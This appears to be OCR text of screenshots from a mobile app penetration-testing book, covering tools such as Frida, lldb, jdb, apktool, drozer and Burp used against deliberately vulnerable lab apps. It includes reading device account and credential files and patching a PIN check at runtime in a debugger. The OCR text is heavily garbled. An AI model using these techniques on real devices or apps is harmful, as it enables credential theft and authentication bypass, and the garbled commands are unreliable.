T@\ UlTextField\" W,N.V_passwordT... @08838dc db "Content-Type", @ XREF=cfstring_Content_Type
T@\"NSString\!,G,N,V_password @08838e9 db "Request Sent, lookout !", @ XREF=cfstring_Request_Sent_
2 T — @0e83991 db "https://www.google.co.uk", @ XREF=cfstring_https__ www_gt
e sy Taxct Flal @008391a db "google.co.uk”, @ XREF=cfstring_google_co_uk
T@\* UlTextField\",W,N,V_userPass... 20083927 db "cer", @ XREF=cfstring_cer
CGannot sign up witheut a password. 8ee8392o db "Request Sent using pinning, leokout !, @ ; XREF=cfstring_Request_Sent_i
80083951 db "Certificate validation failed. You will have to do better than this, my boy!!", {
user_password @aea399f db "cardNoField", @
user_request_password_reset @08839ab db "TE\"UITextField\",&,N,V_cardNoField", @
800839cd db "cardOwnerNameField", @
P rd A '
EESIDC Resat 00083060 db "T@\"UITextField\",&N,V_cardOwnerNameField", @
EESNERE Reset Failad 20083209 db “cardCVVfield", @

@ HopperDisassemblerv3 File Edit Find Modify Navigate Debug Scripts Window Help

o0 @ DamnVulnerablelOSApp.hop
D A C P u
Mavigation Undo / Redo Transformations
+
I | | [
@pelc3ze push {r7, 1r}
Strings 0ea1c322 mov r7, sp
eeel1c324 sub sp, #@x8
Q, 2081c326 movw rl, #@x7e22
epelc3a movt rl, #@xld
R cars 08@1c32e movw r2, #8x5c8c
8081c332 movt r2, #exld
-[InsecureDataStorageVulnVC userD... 00@1c336 add rl, pc
200@1c338 add r2, pc
-l DataSt VulnVC setUs... -
MERgu=DataStorageVulnVC satlls 8@@1c33a str r@, [sp, #@8xB8 + var_@]
-[InsecureDataSterageVulnVC usern... B@1c33c ldr re, [ri]
-[InsecureDataStorage\VulnVe setUs. .. 20@1c33e ldr ri, [r2] |
I 0e@1c340 str r@, [sp, #0x8 + var_4]
[InsecureDataSterageVulnVC pass... 0801c342 mov re, sp
-[InsecureDataStorageVulnVC setPa... p001c344 blx imp___ symbolstubl__objc_msgSendSuper2
-[InsecureDataStorageVulnVe keyeh... 20e1c348 add sp, #@x8
-[InsecureDataStorageVulnVC setke. .. CELIEEE) pop . eﬂg;?' pc}
;

s[insecuraDataStorageVulnVC name... | =00 [ [ --mmmmmmmmmmmomemoe oo

-[InsecureDataSterageVulnVC setMa... i

-[InsecureDataSterageVulnVC email...
-[InsecureDataSterageVulnVC setE...

-[InsecureDataStorageVulnVC phon... X X X . X
=[RuntimeManipulationVC runtimeTutoriallTapped:]:

-[InsecureDataStorageVulnVC setPh... 2081c34c mov r3, re
-[InsecureDataStorageVulnVC userP... B@d1cide MOVW ré, #@x5dbe
8081c352 movt ré, #exld
-Il DataSt VulnVG setUs... =
s s raDataStoragainyC satts 0001356 MoV ro, #exvalc
-[InsecureDataSterageVulnVC mana... #e01c35a movt r9, #@xld
-[InsecureDataStorageVulnVic setM... 8@@1c35e add ré, pc
eeelc36e add r9, pc

-[InsecureDataStorageVulnVC .cxx_...

eeelc3e2 movw r2, #@xt454



B C\windows\system32\cmd.exe - frida -U -p 531
C:\Users\KPMG>frida -U -p 531

(—)

Frida 6.8.11 - A world-class dynamic instrumentation framework

Commands :
help -> Displays the help system
object? -> Display information about 'object'’

exit/quit -> Exit

More info at http://www.frida.re/docs/home/

[USB: :Hackers ipAD::531]-> help
Help: #TODO :)
[USB: :Hackers ipAD::531]-> object?




B C:\windows\systern32\cmd.exe

C:\Users\KPMG>frida-ps -Uai
Identifier

.saurik.Cydia
com.highaltitudehacks.dvia
com.apple.mobilemail

Safari com.apple.mobilesafari
Settings com.apple.Preferences
Activator libactivator

App Store com.apple.AppStore
Calendar com.apple.mobilecal
Camera com.apple.camera

Clock com.apple.mobiletimer
Contacts com.apple.MobileAddressBook
FaceTime com.apple.facetime

Game Center com.apple.gamecenter

IPA Installer com.slugrail.ipainstaller
Maps com.apple.Maps

Messages com.apple.MobileSMS

Music com.apple.Music




Enter Cydia/APT URL

http://build.frida.re

Cancel Add Source

cy# UIApp

#"<UIApplication: 0x154e0c600>"

cy# UIApp.keyWindow.rootViewController

#"<EcslidingViewController: 0x154d24030>"

cy# Zexpand

expand == false

cy# [1 for (i in *UIApp)]

["isa","_delegate"," exclusiveTouchWindows"," event"," touchesEvent"”," motionEve
nt"," remoteContreolEvent"”," remoteControlEventObservers"," topLevelNibObjects","
_nhetworkResourcesCurrentlyLoadingCount”,” hideNetworkActivityIndicatorTimer"," e
ditalertview"," statusBar"," statusBarRequestedStyle"," statusBarWindow"," obser
verBlocks"," postCommitActions”," mainStoryboardName"," tintViewDurationStack","
_statusBarTintColorLockingControllers"," statusBarTintColorLockingCount"," prefe
rredContentSizeCategory”," applicationFlags"," defaultTopNavBarTintColor"," undo
ButtonIndex"," redoButtonIndex"," moveEvent"," physicalButtonsEvent"," wheelEven
t"," physicalButtonMap"," physicalKeyboardEvent"," alwaysHitTestsForMainScreen",
" backgroundHitTestWindow"," eventQueue"," childEventMap"," disableTouchCoalesci
ngCount”," classicMode"," actionsPendingInitialization"," idleTimerDisabledReaso
ns"," currentTimestampWhenFirstTouchCameDown"," currentLocationWhereFirstTouchCa
meDown" ," currentActivityUUID"," currentActivityType"," sceneSettingsDiffInspect
or"," saveStateRestorationArchiveWithFileProtectionCompleteUntilFirstUserAuthent
ication”," lastTimestampWhenFirstTouchCameDown"," lastTimestampWhenAllTouchesLif
ted"," wvirtualHorizontalSizeClass"," virtualvVerticalsizeClass","_ expectedViewOr
ientation"”,"_ preferredContentsSizeCategoryName"," lastLocationWhereFirstTouchCame
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@ Terminal Shell Edit View Window Help 6 @ a o)) = 89% M} Sun12:37pm KPMG Q
e0e User — lidb — 156846
ssh - i

sh-3.2# 1ldb
platform select remote-ios
Platform: remote-ios
Connected: no
SDK Path: "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSuppert/8.1 (12B411)"
SDK Roots: [ @] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/4.2"

SDK Roots: [ 1] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/4.3"
SDK Roots: [ 2] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/5.08"
SDK Roots: [ 31 "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/5.1"
SDK Reots: [ 4] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/6.08"
SDK Roots: [ 5] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/6.1"
SDK Reots: [ 6] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/7.0"
SDK Roots: [ 7] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/7.1"
SDK Reots: [ 8] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/8.0"

SDK Roots: [ 9] "/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/8.1 (12B411)"
process connect connect://192.168.43.56:54321
Process 75410 stopped
* thread #1: tid = @xf4688, ©x0008000197f38e@c libsystem_kernel.dylib'mach_msg_trap + 8, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #@: @x 00197f38edc libsystem_kernel.dylib mach_msg_trap + 8
libsystem_kernel.dylib*mach_msg_trap + 8:
-> Bx197f38e0c: ret

libsystem_kernel.dylib"mach_msg_cverwrite_trap:
0x197f38el1@: movn  x16, #31
0x197f38el4: svc #128
0x197738el8: ret

Hackers-ipAD:~ root# ./debugserver —-attach="DamnVulnerableIOSApp" *:1234
debugserver-@(#)PROGRAM: debugserver PROJECT:debugserver-320.2.89
for armé4.
Attaching to process DamnVulnerableIOQSApp...
Listening to port 1234 for a connection from ...

& Terminal Shell Edit View Window Help
‘a0 e User — nano — 158x45

ssh

GNU nano 2.0.6 File: entitlements.plist

=7xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.8//EN" "http://www.apple.com/DTDs/PropertylList-1.8.dtd">
<plist version="1.0">

<dict>
<key=com.apple.springboard.debugapplications</key>
<true/>
<key=run-unsigned-code</key>
<true/>
<key>get-task-allow</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
</dict>

</plist>



@ 192.168.106.4 - PuTTY = | = s




i ¥ 4 4 1:08

Trusted credentials Q

SYSTEM USER

PortSwigger
PortSwigger CA



i 9 4 4 1:04

Name the certificate

Certificate name:

Burp

Credential use:
Wi-Fi

The package contains:
one CA certificate

CANCEL




.
' l: Burp Suite Free Edition ® ".l\+ gﬂ%

(-_ http://burp C Search T:I’ B 9 ¥+ @ -]

Burp Suite Free Edition Proxy History ~ CA Certificate ~ Plug-n-hack

Welcome to Bu
download your | Opening cacert.der

= Proxy history,
-n-hack plugin).

You have chosen to open:

= cacert.der

which is: der File (973 bytes)
from: http://burp

What should Firefox do with this file?

@ S5ave File

Do this automatically for files like this from now on.

Bl CA\Windowshsystem32icmd.exe - jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port.. | = =] 2

C:“Program FilessJavasjdki.?.8_Y?%hin>adbh forward tcp:-880808 jdwp:1567

C:sProgram FilessJavasjdki.?7.8_7?%hin>jdb —connect com.sun.jdi.SocketAttach:host

name=localhost, port=8000

%et uncaught java.lang.Throwahle

et deferred uncaught java.lang.Throwahle
Initializing jdbh ...




BY C\Windows\system32Z\omd.exe - adb jdwp

C:=~Hackbox>adb Jjduwp
1544
1569

C:\Hackbox\A-Tools\AndroGuard>mkdir exploitme

C:\Hackbox\A-Tools\AndroGuard>copy *.apk exploitme
com.saurik.substrate_©.9.4018.apk
MobilePentest.apk

2 file(s) copied.

C:\Hackbox\A-Tools\AndroGuard>python androauto.py -d exploitme

1014826980 exploitme/MobilePentest.apk <androguard.core.bytecodes.apk.APK object at ©x©060000005BASS
.bytecodes.dvm.DalvikVMFormat object at ©x©©©0000805BA8CF8> <androguard.core.analysis.analysis.newVV
X00006000078BC2E8>

-573265850 exploitme/com.saurik.substrate_©.9.4016.apk <androguard.core.bytecodes.apk.APK object at
<androguard.core.bytecodes.dvm.DalvikVMFormat object at ©x0000000006DE7940> <androguard.core.analysi

ysis object at ©x©000000008FF7F28>
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L‘f’_a BidiFermatter.class - Java Decompiler

|l= @] %2 |

File Edit Mawvigation Search Help

= AR

nameoftheapp-dex Zar.jar &3

IntentCompat. class
IntentCompatHoneycomb. c
IntentCompatIcsMr 1. class
Loader.dass
LocalBroadcastManager. cla:
- ModernAsyncTask, dass
- WakefulBroadcastReceiver,

d
graphics.drawable
hardware. display
nternal. view

edia

3

m

= ]
(1]
-3

i
=

FEEEEEEED

¥ M) BidiFormatter. dass -

Ll I

&

A

BidiFormatter.dass &2

package android.support.vd.text; -
import java.util.lLocale;

public final class BidiFormatter

e|{

private
private
private
private
private
private
private
private
private

static
static
static
static
static
static
static
static
static

Ll T

final
final
final

BidiFormatter DEFAI
BidiFormatter DEFAI
TextDirectionHeuristicCol

int DEFAULT_FLAGS

final
final
final
final
final

int DIR_LTR = -1;
int DIR_RTL = 1;

int DIR_UNKNOWN = |
String EMPTY_STRIN
int FLAG_STEREQ_RE! ~

P.




B Administrator: Chwindows\system32icmd.exe

C:~Hackbhox~A—toolssdexZ2jar—2.8>xd2 j—-dex2jar.bat c:-“~Hackhox“~A—tools“nameoftheapp.a
dex2jar c:“Hackbhox“~A—toolsz~nameoftheapp.apk —-»> .“nameoftheapp—-dex2jar.jar

C:“Hackhox~A—tools~dex2jar—2.0>dir
Uolume in drive ©C iz 05Disk
Uolume Serial Humber is 181C-43E4

Directory of C:sHackbox“A—toolsdex2jar—2.8

B2 862016 B6:-88 <DIR> -
B2-86-2016 B6:88 <DIR> --
18-27-.2014 @5:32 834 d2j-baksmali.bat
a5:32 1.886 dZ2j—baksmali.sh
As:32 847 d2j-dex—recompute—checksum.bhat
a5:32 1,897 dZ2j-dex—recompute—checksum.zh
a5:32 837 d2j—dex2jar.bat
A5s:32 1,887 d2j-—dex2jar.zh
A5:32 834 d2j-dexZzmali.bat
Ba5:32 1,886 d2j-dexZ2zsmali.=zh
a5:32 834 d2j—jar2dex.bat
A5:32 1.886 d2j—jar2dex.zh
As:32 837 d2j-jar2jasmin.bat
a5:32 1.88? d2j-Jjar2jasmin.zh
A5:32 837 d2j—Jjasmin2jar._bat
A5s:32 1,887 d2j-JasminZjar.sh
a5:32 831 dZ2j-—smali.bhat
a5:32 1,883 d2j—=smali.sh
A5:32 836 d2j-—std-apk.bat
B5:32 1.888 d2j-—std-apk.zh
A5:32 326 d2j_invoke.bat
a5:-32 1,321 d23j_dinvoke.zh
A5 :58 <DIR> 1lib
86 - 8@ 482 585 nameoftheapp—dex2jar.jar
21 5P1.554 hytes
3 Divds>» 219.427.938.112 bytes free

Apk resigned l-'EE-J

':0" namecftheapp.apk resigned to Ch\Hackbox\A-tocls\nameoftheapptdist\namecftheapp_sign.apk




i || B ]

[ £ ApkAnalyser
File View Lookup Modifications Resource |Device| Help

| @ | | | | Re-sign, install and start apk  ——

=I--(") [4114] android.jar Re-sign apk Jrik.substrate v0.9.4011 {(nameoftheapp. apk)

Install and start apk p

™

- [£] android. accessibilityservice Untinstall ank

- H [1] android.animation ninstatlap

+-H4 [286]  android.app . .

43 [185)  android,content Examine Odex dependencies

+-H% [45]  android.content.pm

-3 [46]  android.content.res Open logcat :
com.saurik.substrate v0.9.4011 (nameoftheapp.apk) et W = 100% - H
Y android support vd | 3

O accessibiityservice | =

|G accesshiftyserviceinfocomBh] [ accessipityServicenfocompat®l (@ accessipiityServiceinfoCompatJellyBeantE]

U hardware displa | = U internal view = [E s

|@ Displayblanas |*|-'-'-m|+t| |@ Supporthled || |@ Support! |-'—|u||t-+1| |(:3‘ Parcelal -|-'-"-'-I'|1I+I| |9 ParcelableCompatCras -

4 i1 3

Ready

C:sHackhox~A—toolssnameof theapp-dist>adbh install nameoftheapp.apk
2095 KB-= (1566238 bytes in B_.738s)

pkg: sdataslocalstmpsnameocftheapp.apk
Failure [INSTALL_PARSE_FAILED_HO_CERTIFICATES]

“Hackbhox~A—tools>*>java —jar apktool_2.8.3.jar b nameoftheapp
Using Apktool 2.8.3

Checking whether sources has changed...

Smaling smali folder into classes.dex...

Checking whether resourcez has changed...

Building resources...

Copying libhs... ¢/1ih>

Building apk file._...




[=] AndroidManifest xml E3

1

=

e I R T

[Tee:]

10
11
1z
13

14
1%
16

<?2xml version="1.0" encoding="ntf-8" =standalone="no"?>

El<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installlocation

="internalOnly" package="com.sanrlik.substrate">

<permission android:label="modify code from other packages" android:name=
"oydia.permizsion. SUBSTRATE" android:permissionGroup=
"android.permission-group.DEVELOPMENT TOOLS" android:protectionlLevel="dangerous"/>
<application android:icon="@drawable/launcher" android:label="Cydia Substrate">
<recelver android:name=".PackageReceiver">
<intent-filter>
<action and:nid:name=“android.intent.aation.PAERAGE_ADDED“{)
<action and:nid:name=“android.intent.action.PAERAGE_BEMOVED“!>
<action android:name="android.intent.action.PACKAGE REPLACED"/>
<data android:scheme="package"/>
</intent-filter>
</receiver>
<receiver android:name=".RestartReceiver" android:permission=
"oydia.permission. SUBSTRATE" >
<intent-filter>
<action android:name="com.saurik.substrate.RESTART"/>
<fintent-filter>»
</receiver>
<actiwvity android:label="Sunbstrate" android:name=".SetuplActivity":>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>




BX Administrator: Chwindows\system32\crd.exe

IC:“Hackhox“A—tools>java —jar apktool_2.8.3_jar

Apktool v2_8.3 — a tool for reengineering Android apk files
with smali v2.1.8 and baksmali vZ2.1.8

Copyright 2814 Ryszard Wi?niewski ¢brut.alllPgmail.com>
Updated by Connor Tumbhleson <connopr.tumbleszonBgmail.com>

wsage: apktool

—advance ,——advanced prints advance information.

—version,.——version prints the version then exits

wsage: apktool if linstall-framework [options] <framework.apk>
—p,.——frame—-path <dir> Stores framework files into <dir’>.

—t,——tag <{tag> Tag Frameworks using <tag>.

wsage: apktool dlecodel [options] <file_apk>

—f,.—force Force delete destination directory.
—o,——output <dir> The name of folder that gets written. Default
—p,.——frame-path <dir> Uses fFramework files located in <dir>.
—Pr,.——NO—Pes Do not decode resources.

—5,——nN0—S¥C Do not decode sources.

—t,.—frame—tag <tagl Uses Framework files tagged by {tagl.
wsage: apktool bIuild]l [options] {app_path>

—f ,—force-all Skip changes detection and build all files.
—o,——output {dir> The name of apk that gets written. Default is
—p,.——frame—-path <dir> Uses framework Files located in <dir>.

For additional info. see: http:-sibotpeaches.github.io Apktool/
For smalirsbaksmali info,. see: https:- /github.con/JesusFrekessmali

IC:“Hackhox“A—tools>java —jar apktool_ 2.8.3_jar d nameoftheapp.apk
Using Apktool 2.8.3 on nameoftheapp.apk
Loading resource tahle...
Decoding AndroidManifest.xml with resources...

dist-/name

Loading resource tabhle from file: C:slUsers~KPMGhapktoolsframework:l.apk

1

1

1

1

I: Regular manifest package...
I: Decoding file—resources...
I: Decoding values /% EMLs...
I: Baksmaling classes.dex...

% Copying assets and libs...
1

IC

Copying unknown files...
Copying original Ffiles...

:sHackbox“A-tools>




B C\Windows\System32\cmd.exe - python drozer console connect

c:\Hackbox\A-Tools\drozer>python drozer console connect
Selecting 855837a83f988f3a (Genymotion Google Nexus - Penetration Testing Device 6.9)

- R

..0.. P,

..a.. . . ..nd
ro..idsnemesisand. .pr
.otectorandroidsneme.

. ,sisandprotectorandroids+.

. .nhemesisandprotectorandroidsn: .

.emesisandprotectorandroidsnemes. .

..isandp, ..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid. .snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)

dz> run app.package.list

com.introspy.config (Introspy Config)

shin2.rootdetector (Root Detector)
com.example.android.livecubes (Example Wallpapers)
com.android.providers.telephony (Phone and Messaging Storage)
com.android. providers.calendar (Calendar Storage)
com.android.providers.media (Media Storage)
com.android.wallpapercropper (com.android.wallpapercropper)
com.cricbuzz.android (Cricbuzz

com.android.documentsui (Documents)




it 4 12:34

rozer Agent

drozer

Started embedded server on port 31415.

Embedded Server ®
31415

<

BN Adrministraten Chwindows\system32\omd.exe

C:~»Hackbhox~A—toolssdrozerradbh install agent.apk
2215 KBrs <685%437 bytes in 8.282s>
pkg: rsdataslocalstmpsagent.apk

Success

C:~Hackbox~A—tools“drozer>




ﬁ' Setup - drozer =

Select Destination Location
Where should drozer be installed?

l Setup will install drozer into the following folder.

To continue, dick Mext. If you would like to select a different folder, dick Browse,

C:'\Hackbox\A-tools\drozer

At least 131.5 MB of free disk space is required.

< Back H Mext = ] [ Cancel




File View Lockup Moeodifications RSDICE Device Help

O/ s /&) (/¥ 2/2

EIG [4114] android.jar » || -6y com.saurik.substrate v0.9.4011 (nameoftheapp.apk)
= | android.accessibilityservice E

H-{= [6] AccessibilityServiceInfo
o E [1] android.animation

B3 [2a8]  android.app

B3 [185]  android.content

android. content.pm

i) com.saurik.substrate v0.9.4011 (nameoftheapp.apk)




Set paths I

Classpaths | Android SDK | MIDlets or APK

C:\Hackbox'\nameoftheapp. apk
C:\Hadkbox\sdk'platforms\andreid-23

*

=-78 Computer

=+, osDisk (C:)

[ | SRecyde.Bin

----- b 7735ce31863f1929d78ca51670518a30
----- | app_webview

[]...H cygwin

- | cygwingd

----- || databases

-{a), Documents and Settings

G- | drozer

[ | EnigmaRecovery_ER211_temp

[ | files

=1 | Hackbox

h A-tools

B sdk

b add-ons

-1 build-tools

- | docs

£ | platform-tools
| |_=_|L| platforms

-- h android-23
G- || sources

..... -L' temp -

) e

-

Android settings
adb executable:

|t:‘|,l-|add)ox‘|,sdk‘|;ﬂatFonn—tools‘|,adb.exe |[ o




Chapter 5: Building Attack Paths — Threat Modeling
an Application

Risk Rating Matrix

IMPACT

Insignificant (1) fimor (23 Ioderate (3) ajor (4) Severe (5]

Easy (5) Medium (5x1)
E Lilkely (4) Medium (4x1) Medium (4x2)
% Medium (3x2) Medium (3x3)
i
< Medium (2x3) | Medium (2x4)

Medium (1x4)
: : ) Business Impact
Risk Rating Matrix
Insignificant (1) Moderate (3) Wajor (4)

x Critical{4) Medium (4x1)
72 ) - )
'_5 High (3) Medium (3x1) Medium (3x2)
E Medium (2) Medium {2x2) Medium (2x3)
L]
= Medium (1x3) | Medium (1x4)
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Predictable passcode,

No or weak encryption '\

4

%

User Account

v

Account details

v

Money transfer etc

Mobile App Login

o

!

Device Auth —

—»

I

Passcode

SQL injection, Tap hijacking,
Bypass the screen

SQL injection, misconfiguration,
Information disclosure

»

Other options

v

Feedback (Text)

v

Contacts

User Account

v

Account details

v

Money transfer etc

Mobile App Login

I

Device Auth

’

Passcode

A_———/—’————r\\_—_\———_h

Other options

v

Feedback (Text)

v

Contacts




Normal User

Malicious )
Third party
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Mobile Device

Mobile

Mobile

Application

“ Device File system
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Information Denial of Elevation of

Spoofing Tampering Repudiation . . "
Disclosure Service Privilege
|| Improper | | Modifying Local | paicci . || || . ||
session handling Data Missing Device Malware Crashing Apps Sandbox escape
— —_—— — O N ( ) Flawed
Social Career Network Push Authenticati
| _oma . || Lareer Networ —  Toll Fraud —  Lost Device - Notification || Authentication
Engineering Breach floodi and
ooding authorization
|| Malicious Codes L Insecure Wi-Fi | Malware | Re_avers? | Excessive APl || Comprom_lsed
Network Engineering usage credentials
e Compromised
— Untrusted peers — Cll_ent _S|de — Backend Breach — DDoS — Devices
Injections
Malicious Apps




Chapter 6: Full Steam Ahead — Attacking Android
Applications

root@vbox86p:/ # 1ls -la /data/system/users/6/acc

accounts.db accounts.db-journal

s -la /data/system/users/@/accounts.db

-rw-rw---- system system 73728 2015-12-19 ©5:06 accounts.db
root@vbox8e6p:/ #

root@vbox86p:/ # 1ls -la /data/system/users/@/accounts.db

-rw-rw---- system system 73728 2015-12-19 ©5:06 accounts.db
root@vbox86p:/ # sqlite3 /data/system/users/@/accounts.db

SQLite version 3.8.10.2 2015-85-20 18:17:19

Enter ".help" for usage hints.

sqlite> .tables

accounts authtokens extras meta
android_metadata debug_table grants shared_accounts
sqlite> select * from accounts;
1|ihackmsn@hotmail.com|com.android.exchange |l '~ ... 2| | 1450519606206

dz> run app.package.list -u 1000

android (Android System)

com.android.inputdevices {(Input Devices)
com.android.keychain {Key Chain)
com.android.providers.settings (Settings Storage)
com.android.settings {Settings)

2, 1164388

D/m_MainLogin( 908): String enetered: Againthebestpassword

W/genymotion_audiol 314): out_write() limiting sleep time 46802 to 39909

D/0OpenGLRenderer{ 988): TextureCache::get: create texture(@xb7942588): name, size, mSize =

94, 1331




root@vbox86p: /data/datasorg.owasp.goatdroid. fourgoats/databases # 1s -la
-rw-rw——— uB_a6tl ub_abl 16384 2016-02-10 06:19 userinfo.db
ub_a6l ub_abl 8720 2016-02-10 06:19 userinfo.db-journal

userinfo.db-journal
glited userinfo.db
S0Lite version 3.8.10.2 2015-05-20 18:17:19
Enter “.help” for usage hints.
sqlite> .tables
android_metadata info
sqlite> select = from info
A
sqlite> select = from android_metadata:

root@vbox86p:/data/data/org.owasp.goatdroid. fourgoats # Is
app_webview

shared prefs
root@yboxB86p: /data/datasorg.owasp.goatdroid. fourgoats # 1s -la
uB _abl ub_abtl 2016-02-18 02:15 app_webview
ud a6l ub a6l 2016-02-10 81:32 cache
uB_a6l ub_abl 2016-02-10 81:32 code_cache
drwsrws—s:x ' ub_abl 2016-02-10 B81:32 databases
drwsrwx—sx ul ; ub_abl 2016-02-10 85:50 shared prefs
d shared_prefs/ <
root@yboxB86p: /data/datasorg. owasp.goatdroid. fourgoats/shared_prefs # 1s -la
-ru-ru——— uf_abl uB_abl 124 2016-62-10 082:14 HebViewChromiumPrefs.xml
ub_abl 199 2016-02-18 05:50 credentials.xml
ub_abl 154 2016-02-18 B2:23 destination_info.xml
N ul_abtl 148 2016-02-10 B82:21 proxy info.xml
at credentials.xml
<?uml version="1.0" encoding="utf-8' standalone="ves' >
<map>
<string name="username > test<{/string>
<string name="password > test<{/string>
<boolean name="remember” value="true” />
</map>




¥ Demo Application

[~
°
@

Enter correct PIN.

. 1234 Q
Check

g+

dq-

<
Correct PIN entered



> stop in com.FS.runtimel MainActivity.onClick

Set breakpoint com.FS.runtimel.MainActivity.onClick

>

Breakpoint hit: "thread=main", com.FS$.runtimel.MainfActivity.onClick(), 1ine=39 bci=1

mainl[l] print success
success = false

mainl[l] set success=true
success=true = true
mainll] print success
success = true

mainll] next

Step completed: mainll] "thread=main”, com.FS.runtimel.MainActivity.onClick({), line=41 bci=9

mainll] print success

success = true

main[1] next

>

Step completed: “thread=main™, com.FS.runtimel.MainActivity.onClick(), line=43 bci=23

mainl[l] print success

success = true

main[1l] next

>

Step completed: “thread=main”, com.FS.runtimel.MainfActivity.onClick({}, line=45 bci=30

mainl[l] print success

success = true

main[1l] next

>

Step completed: “"thread=main”, com.FS5.runtimel.MainfActivity.onClick({}, line=47 bci=34

mainll] print success
success = true
main[1l] cont

>

C:\Program Files\Java\jdkl.7.0_79%bin>adb forward tcp:8000 jdwp:1616

C:\ngggam Files\Java\jdkl.7.08_79\bin>jdb.exe -connect com.sun.jdi.SocketAttach:hostname=localhost,p
ort=

Set uncaught java.lang.Throwable

Set deferred uncaught java.lang.Throwable

Initializing jdb ...

>




C:\Program Filesh\Javai\jdkl.?.0 /9bin>adb jdwp




0 Genymotion for personal use - Google nexus - Penetrati... [ ':'| =) iﬁ.
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¥ Demo Application

[~}
)
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Enter correct PIN.

14455

Lo

Check

~
O
Incorrect PIN please try again later




g OWASP GoatDroid- Herd Financial Android App-dex2jar.jar 22

+-ff com.google.common
- §3 example
: fL,:, EventDataSQLHelper.class
+-forp SQLDemoActivity.class
-f net.sgldpher
-8 org
+ [} apache.commons.codec
-3 owasp.goatdroid.herdfinandal
- activities

o

+fn_.n UserInfoDEHelper, dass
- HF misc
-3 providers
+ﬂ} requestresponse
+-EF rest
= services
¥+ BuildConfig.dass
forp R.class

fﬂ‘u StatementDBHelper.class &7

private SQLiteStatement insertStmt;

public StatementDBHelper(Context paramContext)

i
this.context = paramContext;
StatementOpenHelper localStatementOpenHelper = new StatementOpenHelper(this.context);
SQLiteDatabase.loadLibs(paramContext);
this.insertStmt = this.db.compileStatement("insert into history (userMame, date, amount,
this.deleteStmt = this.db.compileStatement("delete from history where id = ?");

}

public veid close()
i

this.db.close();
H

public void delete(int paramInt)

{
this.deleteStmt.bindlong(1l, paramInt);
this.deleteStmt.execute();

Genymaotion for personal use - Google Nexus - Penetrati...

Rewards

= =] iR

€. Q605

Manage Users

name,

balance) wvalues (2,2,2,2,2)");



H Login.class - Java Decompiler -

File Edit Mavigation Search Help
= S C @
OWASP Goatdroid-fourgoats AndroidApp- dex2_jar_output.jar &2

-3 org.owasp.goatdroid. fourgoats - . R
-3 activities fup Login.class 2 | Taip AdminHome. dlass 73
TocalUbject = (({LoEinRequest)localUbject).validatelredentials(strl, StrZ);
Addvenue. dass paramVarArgs = (Void[])localObject;
if ({(String)((HashMap)localObject).get("success")).equals("false"))

e {

AdminHome. dass

@ AdminH ; :
© Admintome paramVarArgs = (Void[])localObject;

|ISt\¢'I.eW i Listiiew ((HashMap)localObject).put("errors", “"Login failed. Try again.");
AdminHome () ;
launchCheckins(View) : void ..
’ ) for (5;)
launchFriends{View) : void ™ T
launchManageUsers(View) : void return (HashMap<String, String»)localObject;
launchRewards(view) : void paramVardrgs = (Void[])localObject;
onCreate{Bundle) : void localUserInfoDBHelper.deleteInfo();
- 3 AdminOptions. dass paramVariargs = (Void[]1)localObject;
- Checkins.dass localUserInfoDBHelper.insertSettings((HashMap)localObject);
~fuh DestinationInfo.dass if (bool)
“fub DoAdminDeleteUser. dass e i

m

“fuh DoAdminPasswordReset. dass paramVarirgs = (Void[])localObject;

wy DoComment.dass Login.this.saveCredentials(strl, str2);
b Friends.dass

~up GenericWebViewActivity.dass
~{up History.dass

-fuh Home. dass

d[])localObject;
omerservice"))

(2 i g ¥ )

paramVarArgs = (Void[])localObject;
if (str2.equa CBUNTMEn@g3mEnT "} )

H--fup Main.cdlass paramVarArgs = (Void[])localObject;

- fup Preferences.class ((HashMap)localObject).put("isAdmin", "true");
t-fub Register.dass ¥

- Rewards.dass 3

b SendSMS.class 3



o0 Genymotion for personal use - Google Mexus - Penetrati.. | = Cl &

\ 5:51

vijay velu

Last Checkin
User has never checked in

Request As Friend

View Checkin History

Burp Intruder Repeater Window Help

(Target Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts W

J T HTTP history TWebSnckets history T Options ]

0 Request to https://152 168.91.1:9838

“

| Forward )| Drop | Intercept is on | Action

Raw | Params T Headers TE]

GET /fourgoats/api/vi/friends/view_profile/vijayvelu HTTP/1.1

Cookie: SESS=5c¢861a57300a21052471adch5f7972ch4dch67h2507a13a21f9a01352a4e1h6771a66273081¢c13e813dc05dddc3f053146ae348h12¢1¢8133037h90caldfefa2
Host: 192.168.91.1:9888

Connection: close



=0 Genymotion for personal use - Google Nexus - Penetrati.. | & (=l 2

Q}j Profile

Last Checkin
ser has never checked in

Request As Friend

View Checkin History

Burp Intruder Repeater Window Help

\' Target Spider T Scanner I Intruger I Repeater I Sequencer T Decoder I Comparer T Extender T Options IAlens ]

J I HTTP history TWeDSuckets history I Options ]

| #| £ Request to hitps:1192.168.91.1:9888

Forward )| Drop |

Raw [ Params I Headers ]’Ew

GET /fourgoats/api/vi/friends/view_profile/test HTTP/1.1

Intercept is on | Action

